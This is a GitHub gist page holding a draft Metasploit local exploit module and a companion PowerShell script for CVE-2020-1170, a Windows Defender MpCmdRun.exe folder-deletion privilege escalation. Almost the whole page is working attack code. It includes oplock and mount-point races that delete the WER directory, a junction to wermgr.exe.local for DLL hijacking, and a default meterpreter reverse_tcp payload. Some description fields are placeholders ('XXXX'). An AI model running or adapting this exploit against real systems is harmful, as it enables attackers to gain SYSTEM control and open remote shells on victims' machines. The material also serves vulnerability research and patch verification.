Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Windows Defender CVE-2020-1170 LPE Work Archive
# This module requires Metasploit:
# Current source:
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE # Needed for generate_payload_dll
include Msf::Post::Windows::FileSystem
include Msf::Post::Windows::FileInfo # Needed to retrieve info on the file version for MpCmdRun.exe
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Exploit::FileDropper
include Msf::Post::File
def initialize(info = {})
'Name' => 'Windows Defender MpCmdRun.log Arbitrary Folder Deletion Local Privilege Escalation',
'Description' => %q{
This module exploits CVE-2020-1170, an arbitrary folder deletion vulnerability in Windows Defender's
MpCmdRun.exe binary on MpCmdRun.exe versions prior to 4.18.2005.1 to delete the folder at XXXX. This then
allows an attacker to do XXXX, which grants them code execution as the SYSTEM user. Note that this module
will not work if another AV is installed on the target as this will disable Windows Defender.
'License' => MSF_LICENSE,
'Author' =>
'itm4n', # Original bug finder
'gwillcox-r7' # msf module
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Privileged' => true,
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper } ],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-06-09',
'References' =>
['CVE', '2020-1170'],
['URL', ''],
['URL', ''],
'Notes' =>
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
'DefaultOptions' =>
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'WfsDelay' => 900
['WritableDir', [ true, 'The location of a directory the current user can write to', "C:\\Windows\\Temp\\" ]),'WaitTime', [ true, 'Number of seconds to wait for background file writes to complete before clearing the WER directory', 30 ]),
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
mprun_file_version = file_version('C:\\Program Files\\Windows Defender\\MpCmdRun.exe')
mprun_file_version.pop # Remove last element, the branch. We aren't interested in it.
gem_version_mpfile ='.')) # Taken from
print_status("Version #{gem_version_mpfile} of MpCmdRun.exe detected on target!")
if gem_version_mpfile >='4.18.2005.1')
return CheckCode::Safe
signature_update_command_result = cmd_exec('powershell -c "Get-MpComputerStatus"')
if signature_update_command_result =~ /800106BA/ # Error code 0x800106BA occurs when another security product is installed according
# to
print_error('The target has an outdated version of MpCmdRun.exe installed but they have another AV installed.')
return CheckCode::Safe
print_good('Target appears to have an outdated version of MpCmdRun.exe that is being actively used.')
return CheckCode::Appears
def launch_background_injectable_notepad_and_migrate
print_status('Launching notepad to continue executing PowerShell commands to write to the file without things failing...')
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
print_good("Process #{} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process =
def make_directory_junction(original_directory, target_directory)
print_status('Creating the directory junction...')
junction_creation_result = cmd_exec("cmd.exe /C \"mklink /J #{original_directory} #{target_directory}\"")
if junction_creation_result =~ /Junction created/
print_good('Junction was successfully created!')
return 1
elsif junction_creation_result =~ /file already exists/ # If the file already exists on the target...
return 2
print_error("Directory junction failed. Error code was (#{junction_creation_result['GetLastError']}): #{junction_creation_result['ErrorMessage']}")
return -1
def delete_existing_mpcmdrun_file_or_folder
mpcmdrun_path = 'C:\\Windows\\Temp\\MpCmdRun.log.bak'
result_file_deletion = rm_f(mpcmdrun_path) # Then we try to delete it as a file....
if result_file_deletion['GetLastError'] == 0
print_good("Deleted the already existing #{mpcmdrun_path} folder on the target successfully!")
return true
result_junction_deletion = rm_rf(mpcmdrun_path) # And as a directory junction or folder...
if result_junction_deletion['GetLastError'] == 0
print_good("Deleted the already existing #{mpcmdrun_path} file on the target successfully!")
return true
print_error("Looks like the #{mpcmdrun_path} file/folder already exists on this target, and we can't delete it.")
print_error("Error code (#{result_junction_deletion['GetLastError']}): #{result_junction_deletion['ErrorMessage']}")
return false
def move_folders_out_of_wer
relocation_dir = "#{datastore['WritableDir']}\\#{Rex::Text.rand_text_alpha(6..13)}"
print_status("Making the temp folder which will house the folders that we move out of the WER directory...")
print_status("cd'ing to relocation directory and relocating the folders...")
print_status("After CD...")
# I was going to use rename_file here but it doesn't forcibly move folders when we run it under a Meterpreter session.
# So yeah this is hacky but it works much more reliably and is the same command that rename_file does for Windows sessions,
# its just me forcing it to do it for Meterpreter as a workaround. Feel free to fix this up if Meterpreter does eventually
# get fixed to address this issue.
cmd_exec("cmd.exe /C \"move /Y C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive .")
cmd_exec("cmd.exe /C \"move /Y C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue .")
cmd_exec("cmd.exe /C \"move /Y C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp .")
print_status("Changing directory back to the writable directory...")
def exploit
ntapipath = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-1170', 'NtApiDotNet.dll')
powershell_file_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-1170', "DefenderArbitraryFileDelete.ps1")
ntapi_target_file_path = datastore['WritableDir'] + "\\" + Rex::Text.rand_text_alpha(6..13) + ".dll"
powershell_target_file_path = datastore['WritableDir'] + "\\" + Rex::Text.rand_text_alpha(6..13) + ".ps1"
print_status("Uploading the PowerShell file that will run the main exploit along with the DLL to support its operations...")
upload_file(ntapi_target_file_path, ntapipath)
upload_file(powershell_target_file_path, powershell_file_path)
print_status("Moving folders out of C:\\ProgramData\\Microsoft\\Windows\\WER so that we can delete the folder...")
move_folders_out_of_wer # Move subdirectories out of C:\ProgramData\Microsoft\Windows\WER\
# so that it can be successfully deleted.
# Taken from @itm4n's PoC code and his exploit from
command_to_execute = "powershell -ep bypass -c \". #{powershell_target_file_path}; DoMain -TargetFolder 'C:\\ProgramData\\Microsoft\\Windows\\WER' -NtApiDLLPath '#{ntapi_target_file_path}' -BaitFilePath '#{Rex::Text.rand_text_alpha(6..13)}.txt'\""
print_status("Triggering the vulnerability, this usually takes about 40 to 60 minutes to complete...")
result = cmd_exec(command_to_execute, nil, 3600)
if result =~ /success/
print_good("Successfully triggered the arbitrary file deletion vulnerability!")
elsif result =~ /fail/
fail_with(Failure::UnexpectedReply,"Failed to trigger the arbitrary file deletion vulnerability!")
print_error("Unknown error occurred whilst trying to run the PowerShell script!")
print_status("Sleeping for #{datastore['WaitTime']} seconds to ensure any extra operations on the WER directory go through before we try and clear it up.")
print_status("Moving folders out of C:\\ProgramData\\Microsoft\\Windows\\WER so that it can be turned into a directory junction...")
move_folders_out_of_wer # Move subdirectories out of C:\ProgramData\Microsoft\Windows\WER\
# so that it can be turned into a junction directory.
print_status("Creating the directory junction...")
junction_directory_command = "powershell -ep bypass -c \". #{powershell_target_file_path}; CreateDirectoryJunction -NtApiDLLPath '#{ntapi_target_file_path}'\""
junction_directory_result = cmd_exec(junction_directory_command)
if junction_directory_result =~ /0xC0000101/
fail_with(Failure::UnexpectedReply,"Looks like the folder wasn't emptied so we couldn't create the directory junction...")
elsif junction_directory_result =~ /0xC000/
fail_with(Failure::UnexpectedReply, junction_directory_result)
print_status('All done!')
# Taken from with minor modifications made where needed for Metasploit.
# All credits go to @itm4n for this PowerShell script!
# Testing
# powershell -ep bypass -c ". .\DefenderArbitraryFileDelete.ps1; DoMain -TargetFolder 'C:\ZZ_SANDBOX\WER'"
# Real
# powershell -ep bypass -c ". .\DefenderArbitraryFileDelete.ps1; DoMain -TargetFolder 'C:\ProgramData\Microsoft\Windows\WER'
$JobCode = {
function DoMpCmdRunLogFileWriteTriggerJob {
[CmdletBinding()] param()
for ($i=0; $i -lt 15000; $i++) {
Update-MpSignature -UpdateSource InternalDefinitionUpdateServer
function DoMain {
[CmdletBinding()] param(
[Parameter(Mandatory=$True)][string] $TargetFolder,
[Parameter(Mandatory=$True)][string] $NtApiDLLPath,
[Parameter(Mandatory=$True)][string] $BaitFileName,
$TimeoutInMinutes = 90
$StartDate = Get-Date
$Success = $False
$TargetFolderPath = Resolve-Path -Path $TargetFolder -ErrorAction Stop
if (-not [System.IO.Directory]::Exists($TargetFolderPath)) {
Write-Host "[-] Target folder doesn't exist." -ForegroundColor Red
### Load NtApiDotNet
Import-Module "$NtApiDLLPath" -ErrorAction "Stop"
Write-Host "[*] Loaded '$NtApiDLLPath'"
### Prepare workspace
# Create workspace directory
$WorkspaceFolderPath = Join-Path -Path $env:TEMP -ChildPath $([Guid]::NewGuid())
$Null = New-Item -Path $WorkspaceFolderPath -ItemType Directory
# Fake target folder
$TargetFolderName = Split-Path -Path $TargetFolderPath -Leaf
$TargetFolderParent = Split-Path -Path $TargetFolderPath -Parent
$FakeTargetFolderPath = Join-Path -Path $WorkspaceFolderPath -ChildPath $TargetFolderName
$Null = New-Item -Path $FakeTargetFolderPath -ItemType Directory
# Fake directory structure
Get-ChildItem -Path $TargetFolderPath -ErrorAction Stop | ForEach-Object {
$Path = Join-Path -Path $FakeTargetFolderPath -ChildPath $_.Name
if ([System.IO.Directory]::Exists($_.FullName)) {
$Null = New-Item -Path $Path -ItemType Directory
} else {
$Null = New-Item -Path $Path -ItemType File
### Prepare bait file
$BaitFolderPath = Join-Path -Path $WorkspaceFolderPath -ChildPath "0000"
$Null = New-Item -Path $BaitFolderPath -ItemType Directory
$BaitFilePath = Join-Path -Path $BaitFolderPath -ChildPath "$BaitFileName"
$Null = New-Item -Path $BaitFilePath -ItemType File
### Create fake MpCmdRun.log.bak as a mountpoint to our workspace
# Create folder
$MpCmdRunBakFolderPath = Join-Path -Path $([System.Environment]::GetEnvironmentVariable('TEMP','Machine')) -ChildPath "MpCmdRun.log.bak"
$Null = New-Item -Path $MpCmdRunBakFolderPath -ItemType Directory -ErrorAction SilentlyContinue -ErrorVariable $ErrorNewItem
if (-not $ErrorNewItem) {
### Set MpCmdRun.log.bak folder as a mountpoint to our fake folder
[NtApiDotNet.NtFile]::CreateMountPoint("\??\$MpCmdRunBakFolderPath", "\??\$WorkspaceFolderPath", $null)
Write-Host "[*] Mountpoint: '\??\$($MpCmdRunBakFolderPath)' --> '\??\$($WorkspaceFolderPath)'"
### Set oplock on bait file
$BaitNtFile = [NtApiDotNet.NtFile]::Open("\??\$BaitFilePath", $null, [NtApiDotNet.FileAccessRights]::ReadAttributes, [NtApiDotNet.FileShareMode]::All, [NtApiDotNet.FileOpenOptions]::None)
$BaitOpLockTask = $BaitNtFile.OplockExclusiveAsync()
Write-Host "[*] OpLock set on '\??\$($BaitFilePath)'"
### Start MpCmdRun.log file write trigger
Write-Host "[*] Starting log file write job."
$LogFileWriteJob = Start-Job -InitializationScript $JobCode -ScriptBlock { DoMpCmdRunLogFileWriteTriggerJob }
### Monitor OpLock in a loop until success or timeout
# If oplock triggered, switch mountpoint
Write-Host "[*] Waiting for the OpLock to be triggered (timeout=$($TimeoutInMinutes) min)..."
While ($True) {
# Timeout?
$CurrentDate = Get-Date
$TimeSpan = New-TimeSpan -Start $StartDate -End $CurrentDate
$TimeRemaining = [Math]::Floor($TimeoutInMinutes - $TimeSpan.TotalMinutes)
if ($TimeSpan.TotalMinutes -gt $TimeoutInMinutes) {
Write-Host "[!] Operation timed out"
# Check OpLock
if ($BaitOpLockTask.IsCompleted) {
# Once the oplock is hit, immediately stop all jobs...we don't need to do any more writing.
if ($LogFileWriteJob) {
Stop-Job -Job $LogFileWriteJob
Write-Host "[+] OpLock triggered! Switching mount point." -ForegroundColor Green
[NtApiDotNet.NtFile]::DeleteReparsePoint("\??\$MpCmdRunBakFolderPath") | Out-Null
[NtApiDotNet.NtFile]::CreateMountPoint("\??\$MpCmdRunBakFolderPath", "\??\$TargetFolderParent", $null)
Write-Host "[*] Mountpoint: '\??\$($MpCmdRunBakFolderPath)' --> '\??\$($TargetFolderParent)'"
Write-Host "[*] Releasing OpLock."
Start-Sleep -Seconds 2
if (-not (Test-Path -Path $TargetFolderPath)) {
$Success = $True
Write-Host "[*] Target directory '$($TargetFolderPath)' was removed."
} else {
Write-Host "[!] Target directory '$($TargetFolderPath)' wasn't removed."
Start-Sleep -Seconds 5
if ($BaitNtFile) {
} else {
Write-Host "[-] Failed to create directory '$($MpCmdRunBakFolderPath)'" -ForegroundColor Red
if ($Success) {
$ElapsedTime = New-TimeSpan -Start $StartDate -End $(Get-Date)
# Calls to WER based on the Add-Type Win32 API calling method described at
# Type definitions taken in part from MSDN documentation as well as from
# and
$MethodDefinition = @'
public enum WER_REPORT_TYPE
public enum WER_CONSENT
WerConsentAlwaysPrompt = 4,
WerConsentApproved = 2,
WerConsentDenied = 3,
WerConsentMax = 5,
WerConsentNotAsked = 1
[DllImport("wer.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public extern static int WerReportCreate(string pwzEventType, WER_REPORT_TYPE repType, IntPtr pReportInformation, ref IntPtr phReportHandle);
[DllImport("wer.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public extern static int WerReportSubmit(IntPtr hReportHandle, int consent, int dwFlags, ref IntPtr pSubmitResult);
Add-Type -MemberDefinition $MethodDefinition -Name 'WER' -Namespace 'Win32' -PassThru
$handle = 0 # Need to create the variable for the ref, so lets add this in so long.
if( ([Win32.WER]::WerReportCreate("A",[Win32.WER+WER_REPORT_TYPE]::WerReportNonCritical, 0, [ref] $handle)) -ne 0 ){ # 0 in third argument is for blank pReportInformation
Write-Host "[-] Exploit failed. Couldn't create the report" -ForegroundColor Red
$result = 999 # Need to create the variable for the ref, so set it to a random value of 999.
if( [Win32.WER]::WerReportSubmit($handle, 1, 164, [ref]$result) -ne 0){ # 1 = WerConsentNotAsked, 36 = WER_SUBMIT_QUEUE | WER_SUBMIT_OUTOFPROCESS | WER_SUBMIT_ARCHIVE_PARAMETERS_ONLY
Write-Host "[-] Exploit failed. Couldn't submit the report" -ForegroundColor Red
if ($result -ne 1){
Write-Host "[-] Exploit failed. Report wasn't queued" -ForegroundColor Red
Write-Host "[+] Exploit successful! Elapsed time: $($ElapsedTime.ToString())." -ForegroundColor Green
} else {
Write-Host "[-] Exploit failed." -ForegroundColor Red
### Cleanup
Start-Sleep -Seconds 2
if ([System.IO.Directory]::Exists($WorkspaceFolderPath)) {
Remove-Item -Path $WorkspaceFolderPath -Recurse -Force -ErrorAction SilentlyContinue
if ([System.IO.Directory]::Exists($MpCmdRunBakFolderPath)) {
Remove-Item -Path $MpCmdRunBakFolderPath -Recurse -Force -ErrorAction SilentlyContinue
function CreateDirectoryJunction {
[CmdletBinding()] param(
[Parameter(Mandatory=$True)][string] $NtApiDLLPath
### Load NtApiDotNet
Import-Module "$NtApiDLLPath" -ErrorAction "Stop"
[NtApiDotNet.NtFile]::CreateMountPoint("\??\c:\programdata\microsoft\windows\wer", "\??\c:\windows\system32\wermgr.exe.local", $null)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.